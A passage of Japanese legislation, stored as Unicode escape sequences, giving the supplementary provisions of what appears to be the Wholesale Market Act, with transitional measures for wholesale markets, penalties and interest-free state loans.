u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e03\u6708\u3092\u7d4c\u904e\u3059\u308b\u65e5\u307e\u3067\u306b\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u5f53\u8a72\u65e2\u8a2d\u5e02\u5834\u306b\u3064\u304d\u7b2c\u4e09\u7ae0\u306e\u898f\u5b9a\u306b\u9069\u5408\u3059\u308b\u696d\u52d9\u898f\u7a0b\u3092\u5b9a\u3081\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u5bfe\u3057\u3001\u305d\u306e\u8a8d\u53ef\u306e\u7533\u8acb\u3092\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff14\n\u3000\u7b2c\u5341\u6761\uff08\u540c\u6761\u7b2c\u4e09\u53f7\u306b\u4fc2\u308b\u90e8\u5206\u306b\u9650\u308b\u3002\uff09\u306e\u898f\u5b9a\u306f\u3001\u524d\u9805\u306e\u8a8d\u53ef\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\uff15\n\u3000\u7b2c\u4e09\u9805\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u305f\u696d\u52d9\u898f\u7a0b\u306f\u3001\u7b2c\u4e09\u7ae0\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u305f\u3082\u306e\u3068\u307f\u306a\u3059\u3002\n\n\n\n\uff08\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u5378\u58f2\u696d\u8005\u306b\u3064\u3044\u3066\u306e\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u4e03\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u969b\u73fe\u306b\u65e7\u6cd5\u7b2c\u5341\u6761\u306e\u8a31\u53ef\u3092\u53d7\u3051\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u306a\u3064\u3066\u3044\u308b\u8005\u306f\u3001\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u8005\u3068\u307f\u306a\u3059\u3002\n\n\uff12\n\u3000\u524d\u9805\u306b\u898f\u5b9a\u3059\u308b\u8005\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u969b\u73fe\u306b\u4ed6\u306e\u6cd5\u4eba\u306b\u5bfe\u3059\u308b\u652f\u914d\u95a2\u4fc2\u3092\u6301\u3064\u3066\u3044\u308b\u3068\u304d\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e09\u5341\u65e5\u3092\u7d4c\u904e\u3059\u308b\u65e5\u307e\u3067\u306b\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u305d\u306e\u65e8\u3092\u958b\u8a2d\u8005\u3092\u7d4c\u7531\u3057\u3066\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u5c4a\u3051\u51fa\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\u305f\u3060\u3057\u3001\u305d\u306e\u65e5\u307e\u3067\u306b\u5f53\u8a72\u652f\u914d\u95a2\u4fc2\u306e\u5168\u90e8\u304c\u306a\u304f\u306a\u3064\u305f\u3068\u304d\u306f\u3001\u3053\u306e\u9650\u308a\u3067\u306a\u3044\u3002\n\n\uff13\n\u3000\u524d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u5c4a\u51fa\u306f\u3001\u7b2c\u4e8c\u5341\u4e09\u6761\u7b2c\u4e8c\u9805\u5f8c\u6bb5\uff08\u3053\u308c\u306b\u4fc2\u308b\u7f70\u5247\u3092\u542b\u3080\u3002\uff09\u306e\u898f\u5b9a\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u540c\u9805\u524d\u6bb5\u306e\u898f\u5b9a\u306b\u3088\u308b\u5c4a\u51fa\u3068\u307f\u306a\u3059\u3002\n\n\uff14\n\u3000\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u5c4a\u51fa\u3092\u305b\u305a\u3001\u53c8\u306f\u865a\u507d\u306e\u5c4a\u51fa\u3092\u3057\u305f\u8005\u306f\u3001\u4e94\u4e07\u5186\u4ee5\u4e0b\u306e\u7f70\u91d1\u306b\u51e6\u3059\u308b\u3002\n\n\uff15\n\u3000\u6cd5\u4eba\u306e\u4ee3\u8868\u8005\u53c8\u306f\u6cd5\u4eba\u82e5\u3057\u304f\u306f\u4eba\u306e\u4ee3\u7406\u4eba\u3001\u4f7f\u7528\u4eba\u305d\u306e\u4ed6\u306e\u5f93\u696d\u8005\u304c\u3001\u305d\u306e\u6cd5\u4eba\u53c8\u306f\u4eba\u306e\u696d\u52d9\u306b\u95a2\u3057\u3001\u524d\u9805\u306e\u9055\u53cd\u884c\u70ba\u3092\u3057\u305f\u3068\u304d\u306f\u3001\u884c\u70ba\u8005\u3092\u7f70\u3059\u308b\u307b\u304b\u3001\u305d\u306e\u6cd5\u4eba\u53c8\u306f\u4eba\u306b\u5bfe\u3057\u3066\u540c\u9805\u306e\u7f70\u91d1\u5211\u3092\u79d1\u3059\u308b\u3002\n\n\n\n\uff08\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u516b\u6761\n\u3000\u7b2c\u56db\u7ae0\u306e\u898f\u5b9a\u306e\u65bd\u884c\u306e\u969b\u73fe\u306b\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3057\u3066\u3044\u308b\u8005\u53c8\u306f\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u306a\u3064\u3066\u3044\u308b\u8005\u306f\u3001\u540c\u7ae0\u306e\u898f\u5b9a\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u4e00\u5e74\u9593\u306f\u3001\u7b2c\u4e94\u5341\u4e94\u6761\u53c8\u306f\u7b2c\u4e94\u5341\u516b\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u306a\u3044\u3067\u3001\u5f15\u304d\u7d9a\u304d\u305d\u306e\u696d\u52d9\u3092\u884c\u306a\u3046\u3053\u3068\u304c\u3067\u304d\u308b\u3002\u305d\u306e\u8005\u304c\u305d\u306e\u671f\u9593\u5185\u306b\u7b2c\u4e94\u5341\u4e94\u6761\u53c8\u306f\u7b2c\u4e94\u5341\u516b\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306e\u7533\u8acb\u3092\u3057\u305f\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u8a31\u53ef\u53c8\u306f\u8a31\u53ef\u306e\u62d2\u5426\u306e\u51e6\u5206\u304c\u3042\u308b\u307e\u3067\u306e\u9593\u3082\u3001\u540c\u69d8\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u305d\u306e\u4ed6\u306e\u51e6\u5206\u3001\u624b\u7d9a\u7b49\u306b\u3064\u3044\u3066\u306e\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u4e5d\u6761\n\u3000\u9644\u5247\u7b2c\u56db\u6761\u304b\u3089\u524d\u6761\u307e\u3067\u306b\u898f\u5b9a\u3059\u308b\u3082\u306e\u3092\u9664\u304f\u307b\u304b\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u524d\u306b\u65e7\u6cd5\u53c8\u306f\u65e7\u6cd5\u306b\u57fa\u3065\u304f\u547d\u4ee4\u306e\u898f\u5b9a\u306b\u3088\u3064\u3066\u3057\u305f\u51e6\u5206\u3001\u624b\u7d9a\u305d\u306e\u4ed6\u306e\u884c\u70ba\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u53c8\u306f\u3053\u306e\u6cd5\u5f8b\u306b\u57fa\u3065\u304f\u547d\u4ee4\u4e2d\u306b\u3053\u308c\u306b\u76f8\u5f53\u3059\u308b\u898f\u5b9a\u304c\u3042\u308b\u3068\u304d\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u53c8\u306f\u3053\u306e\u6cd5\u5f8b\u306b\u57fa\u3065\u304f\u547d\u4ee4\u306e\u76f8\u5f53\u898f\u5b9a\u306b\u3088\u3064\u3066\u3057\u305f\u3082\u306e\u3068\u307f\u306a\u3059\u3002\n\n\n\n\uff08\u7f70\u5247\u306b\u3064\u3044\u3066\u306e\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u5341\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u524d\u306b\u3057\u305f\u884c\u70ba\u306b\u5bfe\u3059\u308b\u7f70\u5247\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3002\n\n\n\n\uff08\u56fd\u306e\u7121\u5229\u5b50\u8cb8\u4ed8\u3051\u7b49\uff09\n\u7b2c\u5341\u4e00\u6761\n\u3000\u56fd\u306f\u3001\u5f53\u5206\u306e\u9593\u3001\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306b\u5bfe\u3057\u3001\u7b2c\u4e03\u5341\u4e8c\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u56fd\u304c\u305d\u306e\u8cbb\u7528\u306b\u3064\u3044\u3066\u88dc\u52a9\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u65bd\u8a2d\u306e\u3046\u3061\u5efa\u7269\u3001\u6a5f\u68b0\u8a2d\u5099\u7b49\u306e\u91cd\u8981\u306a\u65bd\u8a2d\u306e\u6539\u826f\u3001\u9020\u6210\u53c8\u306f\u53d6\u5f97\u3067\u65e5\u672c\u96fb\u4fe1\u96fb\u8a71\u682a\u5f0f\u4f1a\u793e\u306e\u682a\u5f0f\u306e\u58f2\u6255\u53ce\u5165\u306e\u6d3b\u7528\u306b\u3088\u308b\u793e\u4f1a\u8cc7\u672c\u306e\u6574\u5099\u306e\u4fc3\u9032\u306b\u95a2\u3059\u308b\u7279\u5225\u63aa\u7f6e\u6cd5\uff08\u662d\u548c\u516d\u5341\u4e8c\u5e74\u6cd5\u5f8b\u7b2c\u516b\u5341\u516d\u53f7\u3002\u4ee5\u4e0b\u300c\u793e\u4f1a\u8cc7\u672c\u6574\u5099\u7279\u5225\u63aa\u7f6e\u6cd5\u300d\u3068\u3044\u3046\u3002\uff09\u7b2c\u4e8c\u6761\u7b2c\u4e00\u9805\u7b2c\u4e8c\u53f7\u306b\u8a72\u5f53\u3059\u308b\u3082\u306e\u306b\u8981\u3059\u308b\u8cbb\u7528\u306b\u5145\u3066\u308b\u8cc7\u91d1\u306b\u3064\u3044\u3066\u3001\u4e88\u7b97\u306e\u7bc4\u56f2\u5185\u306b\u304a\u3044\u3066\u3001\u7b2c\u4e03\u5341\u4e8c\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\uff08\u3053\u306e\u898f\u5b9a\u306b\u3088\u308b\u56fd\u306e\u88dc\u52a9\u306e\u5272\u5408\u306b\u3064\u3044\u3066\u3001\u3053\u306e\u898f\u5b9a\u3068\u7570\u306a\u308b\u5b9a\u3081\u3092\u3057\u305f\u6cd5\u4ee4\u306e\u898f\u5b9a\u304c\u3042\u308b\u5834\u5408\u306b\u306f\u3001\u5f53\u8a72\u7570\u306a\u308b\u5b9a\u3081\u3092\u3057\u305f\u6cd5\u4ee4\u306e\u898f\u5b9a\u3092\u542b\u3080\u3002\u4ee5\u4e0b\u540c\u3058\u3002\uff09\u306b\u3088\u308a\u56fd\u304c\u88dc\u52a9\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u91d1\u984d\u306b\u76f8\u5f53\u3059\u308b\u91d1\u984d\u3092\u7121\u5229\u5b50\u3067\u8cb8\u3057\u4ed8\u3051\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\u3000\u56fd\u306f\u3001\u5f53\u5206\u306e\u9593\u3001\u90fd\u9053\u5e9c\u770c\u306b\u5bfe\u3057\u3001\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306e\u65bd\u8a2d\u306e\u3046\u3061\u5efa\u7269\u3001\u6a5f\u68b0\u8a2d\u5099\u7b49\u306e\u91cd\u8981\u306a\u65bd\u8a2d\u306e\u6539\u826f\u3001\u9020\u6210\u53c8\u306f\u53d6\u5f97\u3067\u793e\u4f1a\u8cc7\u672c\u6574\u5099\u7279\u5225\u63aa\u7f6e\u6cd5\u7b2c\u4e8c\u6761\u7b2c\u4e00\u9805\u7b2c\u4e8c\u53f7\u306b\u8a72\u5f53\u3059\u308b\u3082\u306e\u306b\u3064\u304d\u3001\u90fd\u9053\u5e9c\u770c\u304c\u81ea\u3089\u884c\u3046\u5834\u5408\u306b\u3042\u3064\u3066\u306f\u305d\u306e\u8981\u3059\u308b\u8cbb\u7528\u306b\u5145\u3066\u308b\u8cc7\u91d1\u306e\u4e00\u90e8\u3092\u3001\u5e02\u753a\u6751\u305d\u306e\u4ed6\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u8005\u304c\u884c\u3046\u5834\u5408\u306b\u3042\u3064\u3066\u306f\u305d\u306e\u8005\u306b\u5bfe\u3057\u90fd\u9053\u5e9c\u770c\u304c\u88dc\u52a9\u3059\u308b\u8cbb\u7528\u306b\u5145\u3066\u308b\u8cc7\u91d1\u306e\u5168\u90e8\u53c8\u306f\u4e00\u90e8\u3092\u3001\u4e88\u7b97\u306e\u7bc4\u56f2\u5185\u306b\u304a\u3044\u3066\u3001\u7121\u5229\u5b50\u3067\u8cb8\u3057\u4ed8\u3051\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff13\n\u3000\u524d\u4e8c\u9805\u306e\u56fd\u306e\u8cb8\u4ed8\u91d1\u306e\u511f\u9084\u671f\u9593\u306f\u3001\u4e94\u5e74\uff08\u4e8c\u5e74\u4ee5\u5185\u306e\u636e\u7f6e\u671f\u9593\u3092\u542b\u3080\u3002\uff09\u4ee5\u5185\u3067\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u671f\u9593\u3068\u3059\u308b\u3002\n\n\uff14\n\u3000\u524d\u9805\u306b\u5b9a\u3081\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u7b2c\u4e00\u9805\u53ca\u3073\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u8cb8\u4ed8\u91d1\u306e\u511f\u9084\u65b9\u6cd5\u3001\u511f\u9084\u671f\u9650\u306e\u7e70\u4e0a\u3052\u305d\u306e\u4ed6\u511f\u9084\u306b\u95a2\u3057\u5fc5\u8981\u306a\u4e8b\u9805\u306f\u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3002\n\n\uff15\n\u3000\u56fd\u306f\u3001\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306b\u5bfe\u3057\u8cb8\u4ed8\u3051\u3092\u884c\u3064\u305f\u5834\u5408\u306b\u306f\u3001\u5f53\u8a72\u8cb8\u4ed8\u3051\u306e\u5bfe\u8c61\u3067\u3042\u308b\u4e8b\u696d\u306b\u3064\u3044\u3066\u3001\u7b2c\u4e03\u5341\u4e8c\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u5f53\u8a72\u8cb8\u4ed8\u91d1\u306b\u76f8\u5f53\u3059\u308b\u91d1\u984d\u306e\u88dc\u52a9\u3092\u884c\u3046\u3082\u306e\u3068\u3057\u3001\u5f53\u8a72\u88dc\u52a9\u306b\u3064\u3044\u3066\u306f\u3001\u5f53\u8a72\u8cb8\u4ed8\u91d1\u306e\u511f\u9084\u6642\u306b\u304a\u3044\u3066\u3001\u5f53\u8a72\u8cb8\u4ed8\u91d1\u306e\u511f\u9084\u91d1\u306b\u76f8\u5f53\u3059\u308b\u91d1\u984d\u3092\u4ea4\u4ed8\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u884c\u3046\u3082\u306e\u3068\u3059\u308b\u3002\n\n\uff16\n\u3000\u56fd\u306f\u3001\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u90fd\u9053\u5e9c\u770c\u306b\u5bfe\u3057\u8cb8\u4ed8\u3051\u3092\u884c\u3064\u305f\u5834\u5408\u306b\u306f\u3001\u5f53\u8a72\u8cb8\u4ed8\u3051\u306e\u5bfe\u8c61\u3067\u3042\u308b\u4e8b\u696d\u306b\u3064\u3044\u3066\u3001\u5f53\u8a72\u8cb8\u4ed8\u91d1\u306b\u76f8\u5f53\u3059\u308b\u91d1\u984d\u306e\u88dc\u52a9\u3092\u884c\u3046\u3082\u306e\u3068\u3057\u3001\u5f53\u8a72\u88dc\u52a9\u306b\u3064\u3044\u3066\u306f\u3001\u5f53\u8a72\u8cb8\u4ed8\u91d1\u306e\u511f\u9084\u6642\u306b\u304a\u3044\u3066\u3001\u5f53\u8a72\u8cb8\u4ed8\u91d1\u306e\u511f\u9084\u91d1\u306b\u76f8\u5f53\u3059\u308b\u91d1\u984d\u3092\u4ea4\u4ed8\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u884c\u3046\u3082\u306e\u3068\u3059\u308b\u3002\n\n\uff17\n\u3000\u5730\u65b9\u516c\u5171\u56e3\u4f53\u304c\u3001\u7b2c\u4e00\u9805\u53c8\u306f\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u8cb8\u4ed8\u3051\u3092\u53d7\u3051\u305f\u7121\u5229\u5b50\u8cb8\u4ed8\u91d1\u306b\u3064\u3044\u3066\u3001\u7b2c\u4e09\u9805\u53ca\u3073\u7b2c\u56db\u9805\u306e\u898f\u5b9a\u306b\u57fa\u3065\u304d\u5b9a\u3081\u3089\u308c\u308b\u511f\u9084\u671f\u9650\u3092\u7e70\u308a\u4e0a\u3052\u3066\u511f\u9084\u3092\u884c\u3064\u305f\u5834\u5408\uff08\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u5834\u5408\u3092\u9664\u304f\u3002\uff09\u306b\u304a\u3051\u308b\u524d\u4e8c\u9805\u306e\u898f\u5b9a\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u5f53\u8a72\u511f\u9084\u306f\u3001\u5f53\u8a72\u511f\u9084\u671f\u9650\u306e\u5230\u6765\u6642\u306b\u884c\u308f\u308c\u305f\u3082\u306e\u3068\u307f\u306a\u3059\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u662d\u548c\u4e94\u4e09\u5e74\u4e03\u6708\u4e94\u65e5\u6cd5\u5f8b\u7b2c\u516b\u4e03\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u516c\u5e03\u306e\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u662d\u548c\u4e94\u4e94\u5e74\u4e09\u6708\u4e09\u4e00\u65e5\u6cd5\u5f8b\u7b2c\u4e5d\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u662d\u548c\u4e94\u5341\u4e94\u5e74\u56db\u6708\u4e00\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\u305f\u3060\u3057\u3001\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u898f\u5b9a\u306f\u3001\u5f53\u8a72\u5404\u53f7\u306b\u5b9a\u3081\u308b\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\u4e00\n\u3000\u76ee\u6b21\u306e\u6539\u6b63\u898f\u5b9a\uff08\u300c\u7b2c\u56db\u5341\u4e00\u6761\u306e\u5341\u4e94\u300d\u3092\u300c\u7b2c\u56db\u5341\u4e00\u6761\u306e\u5341\u516d\u300d\u306b\u6539\u3081\u308b\u90e8\u5206\u306b\u9650\u308b\u3002\uff09\u3001\u7b2c\u56db\u6761\u306b\u4e03\u9805\u3092\u52a0\u3048\u308b\u6539\u6b63\u898f\u5b9a\u53ca\u3073\u7b2c\u4e8c\u7ae0\u7b2c\u516d\u7bc0\u306b\u4e00\u6761\u3092\u52a0\u3048\u308b\u6539\u6b63\u898f\u5b9a\u3000\u662d\u548c\u4e94\u5341\u516b\u5e74\u4e00\u6708\u4e00\u65e5\n\n\u4e8c\n\u3000\u7b2c\u4e8c\u5341\u4e5d\u6761\u3001\u7b2c\u4e8c\u5341\u4e5d\u6761\u306e\u4e09\u53ca\u3073\u7b2c\u56db\u5341\u4e00\u6761\u304b\u3089\u7b2c\u56db\u5341\u4e00\u6761\u306e\u4e03\u307e\u3067\u306e\u6539\u6b63\u898f\u5b9a\u4e26\u3073\u306b\u9644\u5247\u7b2c\u5341\u4e00\u6761\u304b\u3089\u7b2c\u5341\u56db\u6761\u307e\u3067\u306e\u898f\u5b9a\u3000\u662d\u548c\u4e94\u5341\u516d\u5e74\u4e00\u6708\u4e00\u65e5\n\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u662d\u548c\u516d\u4e00\u5e74\u4e00\u4e8c\u6708\u4e8c\u516d\u65e5\u6cd5\u5f8b\u7b2c\u4e00\u3007\u4e5d\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u516c\u5e03\u306e\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\n\uff08\u305d\u306e\u4ed6\u306e\u51e6\u5206\u3001\u7533\u8acb\u7b49\u306b\u4fc2\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u516d\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\uff08\u9644\u5247\u7b2c\u4e00\u6761\u5404\u53f7\u306b\u63b2\u3052\u308b\u898f\u5b9a\u306b\u3064\u3044\u3066\u306f\u3001\u5f53\u8a72\u5404\u898f\u5b9a\u3002\u4ee5\u4e0b\u3053\u306e\u6761\u53ca\u3073\u9644\u5247\u7b2c\u516b\u6761\u306b\u304a\u3044\u3066\u540c\u3058\u3002\uff09\u306e\u65bd\u884c\u524d\u306b\u6539\u6b63\u524d\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\u306e\u898f\u5b9a\u306b\u3088\u308a\u3055\u308c\u305f\u8a31\u53ef\u7b49\u306e\u51e6\u5206\u305d\u306e\u4ed6\u306e\u884c\u70ba\uff08\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u300c\u51e6\u5206\u7b49\u306e\u884c\u70ba\u300d\u3068\u3044\u3046\u3002\uff09\u53c8\u306f\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u969b\u73fe\u306b\u6539\u6b63\u524d\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\u306e\u898f\u5b9a\u306b\u3088\u308a\u3055\u308c\u3066\u3044\u308b\u8a31\u53ef\u7b49\u306e\u7533\u8acb\u305d\u306e\u4ed6\u306e\u884c\u70ba\uff08\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u300c\u7533\u8acb\u7b49\u306e\u884c\u70ba\u300d\u3068\u3044\u3046\u3002\uff09\u3067\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u306b\u304a\u3044\u3066\u3053\u308c\u3089\u306e\u884c\u70ba\u306b\u4fc2\u308b\u884c\u653f\u4e8b\u52d9\u3092\u884c\u3046\u3079\u304d\u8005\u304c\u7570\u306a\u308b\u3053\u3068\u3068\u306a\u308b\u3082\u306e\u306f\u3001\u9644\u5247\u7b2c\u4e8c\u6761\u304b\u3089\u524d\u6761\u307e\u3067\u306e\u898f\u5b9a\u53c8\u306f\u6539\u6b63\u5f8c\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\uff08\u3053\u308c\u306b\u57fa\u3065\u304f\u547d\u4ee4\u3092\u542b\u3080\u3002\uff09\u306e\u7d4c\u904e\u63aa\u7f6e\u306b\u95a2\u3059\u308b\u898f\u5b9a\u306b\u5b9a\u3081\u308b\u3082\u306e\u3092\u9664\u304d\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u4ee5\u5f8c\u306b\u304a\u3051\u308b\u6539\u6b63\u5f8c\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u6539\u6b63\u5f8c\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\u306e\u76f8\u5f53\u898f\u5b9a\u306b\u3088\u308a\u3055\u308c\u305f\u51e6\u5206\u7b49\u306e\u884c\u70ba\u53c8\u306f\u7533\u8acb\u7b49\u306e\u884c\u70ba\u3068\u307f\u306a\u3059\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e09\u5e74\u4e94\u6708\u4e8c\u65e5\u6cd5\u5f8b\u7b2c\u4e94\u4e5d\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u516c\u5e03\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u516d\u6708\u3092\u8d85\u3048\u306a\u3044\u7bc4\u56f2\u5185\u306b\u304a\u3044\u3066\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e94\u5e74\u4e00\u4e00\u6708\u4e00\u4e8c\u65e5\u6cd5\u5f8b\u7b2c\u516b\u4e5d\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u884c\u653f\u624b\u7d9a\u6cd5\uff08\u5e73\u6210\u4e94\u5e74\u6cd5\u5f8b\u7b2c\u516b\u5341\u516b\u53f7\uff09\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\n\uff08\u8aee\u554f\u7b49\u304c\u3055\u308c\u305f\u4e0d\u5229\u76ca\u51e6\u5206\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u4e8c\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u524d\u306b\u6cd5\u4ee4\u306b\u57fa\u3065\u304d\u5be9\u8b70\u4f1a\u305d\u306e\u4ed6\u306e\u5408\u8b70\u5236\u306e\u6a5f\u95a2\u306b\u5bfe\u3057\u884c\u653f\u624b\u7d9a\u6cd5\u7b2c\u5341\u4e09\u6761\u306b\u898f\u5b9a\u3059\u308b\u8074\u805e\u53c8\u306f\u5f01\u660e\u306e\u6a5f\u4f1a\u306e\u4ed8\u4e0e\u306e\u624b\u7d9a\u305d\u306e\u4ed6\u306e\u610f\u898b\u9673\u8ff0\u306e\u305f\u3081\u306e\u624b\u7d9a\u306b\u76f8\u5f53\u3059\u308b\u624b\u7d9a\u3092\u57f7\u308b\u3079\u304d\u3053\u3068\u306e\u8aee\u554f\u305d\u306e\u4ed6\u306e\u6c42\u3081\u304c\u3055\u308c\u305f\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u5f53\u8a72\u8aee\u554f\u305d\u306e\u4ed6\u306e\u6c42\u3081\u306b\u4fc2\u308b\u4e0d\u5229\u76ca\u51e6\u5206\u306e\u624b\u7d9a\u306b\u95a2\u3057\u3066\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306b\u3088\u308b\u6539\u6b63\u5f8c\u306e\u95a2\u4fc2\u6cd5\u5f8b\u306e\u898f\u5b9a\u306b\u304b\u304b\u308f\u3089\u305a\u3001\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3002\n\n\n\n\uff08\u7f70\u5247\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u5341\u4e09\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u524d\u306b\u3057\u305f\u884c\u70ba\u306b\u5bfe\u3059\u308b\u7f70\u5247\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3002\n\n\n\n\uff08\u8074\u805e\u306b\u95a2\u3059\u308b\u898f\u5b9a\u306e\u6574\u7406\u306b\u4f34\u3046\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u5341\u